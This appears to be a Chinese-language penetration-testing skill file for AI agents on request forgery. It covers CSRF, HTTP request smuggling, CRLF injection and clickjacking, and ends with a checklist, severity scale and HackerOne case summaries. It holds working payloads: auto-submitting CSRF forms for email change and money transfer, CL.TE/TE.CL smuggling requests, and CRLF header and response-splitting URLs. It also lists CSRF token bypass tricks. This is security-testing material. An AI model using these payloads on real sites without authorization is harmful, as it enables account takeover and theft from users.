pentest-request-forgery

Request Forgery Penetration Testing Patterns

当对 Web 应用进行请求伪造渗透测试时加载此 Skill。覆盖 CSRF、HTTP 请求走私、CRLF 注入、Clickjacking 等。

Attack Surface Discovery

CSRF 高风险功能：

• 状态变更操作：密码修改、邮箱更改、资金转账
• 账户管理：绑定/解绑第三方账户、修改安全设置
• API 操作：创建/删除资源、修改权限
• Token 管理：生成/撤销 API token

HTTP 请求走私目标：

• 前端代理（Nginx/HAProxy/CDN）与后端服务器之间
• 使用 HTTP/1.1 keep-alive 的负载均衡架构
• HTTP/2 降级到 HTTP/1.1 的代理场景

CRLF 注入点：

• 重定向 URL 参数、日志记录的输入字段
• HTTP 响应头中反射的用户输入

Exploitation Techniques

CSRF 攻击：

<!-- 基础 CSRF（无 token 保护） -->
<form action="https://target.com/api/change-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>

<!-- JSON 内容类型 CSRF -->
<form action="https://target.com/api/transfer" method="POST" 
      enctype="text/plain">
  <input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>

CSRF 防护绕过：

• Token 删除：移除 CSRF token 参数看是否仍然接受
• Token 重用：使用其他用户的 token 或过期 token
• Token 在 Cookie 中：CSRF token 来自 cookie 而非 session（可通过子域 XSS 设置）
• Referer 绕过：移除 Referer 头（<meta name="referrer" content="no-referrer">）
• Method 切换：POST 改为 GET（某些框架两者等价）

HTTP 请求走私：

# CL.TE（前端用 Content-Length，后端用 Transfer-Encoding）
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# TE.CL（前端用 Transfer-Encoding，后端用 Content-Length）
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

# HTTP/2 降级走私（H2.CL）
# 在 HTTP/2 请求中包含 Content-Length 头，降级时产生歧义

CRLF 注入：

# 注入 HTTP 响应头
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:session=attacker

# 响应拆分（HTTP Response Splitting）
https://target.com/redirect?url=%0d%0a%0d%0a<script>alert(1)</script>

# 日志注入
username=admin%0d%0a[INFO] Fake log entry

Clickjacking：

• 检查 X-Frame-Options 和 CSP frame-ancestors 是否缺失
• 构造透明 iframe 覆盖在诱饵按钮上方
• 多步 clickjacking：引导用户完成多步敏感操作

Detection Checklist

• 对所有状态变更操作检查 CSRF token 实现（是否存在、是否校验、是否可绕过）
• 测试移除 CSRF token 后请求是否仍被接受
• 测试 CSRF token 是否跨用户/跨 session 可用
• 使用 smuggler 工具测试 HTTP 请求走私（CL.TE、TE.CL、H2 降级）
• 在 URL 参数和 header 反射点测试 CRLF 注入（%0d%0a）
• 检查 X-Frame-Options 和 CSP frame-ancestors 防止 clickjacking
• 测试 SameSite cookie 属性是否正确设置
• 验证 Referer/Origin 检查是否可绕过
• 测试 JSON content-type 的 CSRF 可行性

Impact Assessment

漏洞利用可达到的效果：

• CSRF：以受害者身份执行敏感操作（转账、改密码、改邮箱 → 账户接管）
• HTTP 走私：绕过 WAF/访问控制、窃取其他用户请求、缓存投毒
• CRLF 注入：设置恶意 cookie（session fixation）、响应拆分 → XSS
• Clickjacking：诱导用户执行非预期操作

严重度判断：

• Critical：CSRF 导致账户接管、HTTP 走私可窃取凭证或绕过认证
• High：CSRF 执行高危操作（资金转移）、请求走私影响其他用户
• Medium：CSRF 仅影响低价值操作、Clickjacking 需多步交互

Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

Case 1: Enjin — Revocation API Token by Bypassing The XSRF Token

• 严重度: Critical | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: The revocation API token was bypassed by bypassing the XSRF token. This allowed the demonstration that the Enjin Platform's GraphQL interface lacked appropriate CSRF protection when utilizing a sessio...
• 报告: https://hackerone.com/reports/2312217

Case 2: HackerOne — Improper CSRF token validation allows attackers to access victim's accounts linked to Hackerone

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: Improper CSRF token validation in HackerOne's integration authentication server allowed attackers to access victim's accounts linked to HackerOne. This vulnerability was due to the flawed authorizatio...
• 报告: https://hackerone.com/reports/1727221

Case 3: Internet Bug Bounty — Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)

• 严重度: High | CWE: HTTP Request Smuggling
• 摘要: A vulnerability in Apache Tomcat versions 11.0.0-M1 to 11.0.0-M11, 10.1.0-M1 to 10.1.13, 9.0.0-M1 to 9.0.80, and 8.5.0 to 8.5.93 allowed HTTP request smuggling due to improper parsing of trailer heade...
• 报告: https://hackerone.com/reports/2299692

Case 4: Internet Bug Bounty — CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)

• 严重度: High | CWE: HTTP Request Smuggling
• 摘要: [SECURITY] CVE-2024-21733 Apache Tomcat - Information Disclosure Severity: Important
  Vendor: The Apache Software Foundation

Versions Affected: Apache Tomcat 9.0.0-M11 to 9.0.43 Apache Tomcat 8.5.7 ...

• 报告: https://hackerone.com/reports/2327341

Case 5: Internet Bug Bounty — Argo CD CSRF leads to Kubernetes cluster compromise

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd CVE-2024-22424 Severity: High

Impact The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16 are vulnerable to a cross-s...

• 报告: https://hackerone.com/reports/2326194

Case 6: Internet Bug Bounty — Possibility of Request smuggling attack

• 严重度: High | CWE: HTTP Request Smuggling
• 摘要: A vulnerability in Apache Tomcat allowed request smuggling due to incorrect parsing of HTTP trailer headers. A specially crafted trailer header exceeding the size limit could cause Tomcat to treat a s...
• 报告: https://hackerone.com/reports/2280391

Case 7: U.S. Dept Of Defense — CSRF leads to Account takeover

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: The CSRF vulnerability was found on the endpoint https://██████████/account/profile/edit, which allowed an attacker to modify the victim's account information, including their username, password, and ...
• 报告: https://hackerone.com/reports/2699029

Case 8: U.S. Dept Of Defense — CSRF leads to Account takeover

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: The target website was found vulnerable to CSRF, allowing an attacker to perform actions on the user's behalf without their knowledge or consent. The vulnerable endpoint was identified at https://████...
• 报告: https://hackerone.com/reports/2712857

Case 9: U.S. Dept Of Defense — CSRF Attack on changing security questions leads to full Account TakeOver

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: The CSRF vulnerability in the security questions and password reset functionality of the website allowed an attacker to change a victim's security questions and answers, and then leverage this to rese...
• 报告: https://hackerone.com/reports/2652603

Case 10: ownCloud — Cross-Site Request Forgery

• 严重度: High | CWE: Cross-Site Request Forgery (CSRF)
• 摘要: A cross-site request forgery vulnerability was found in an application. Requests were not validating cross-site request forgery tokens, allowing an unauthorized user to perform administration function...
• 报告: https://hackerone.com/reports/2041007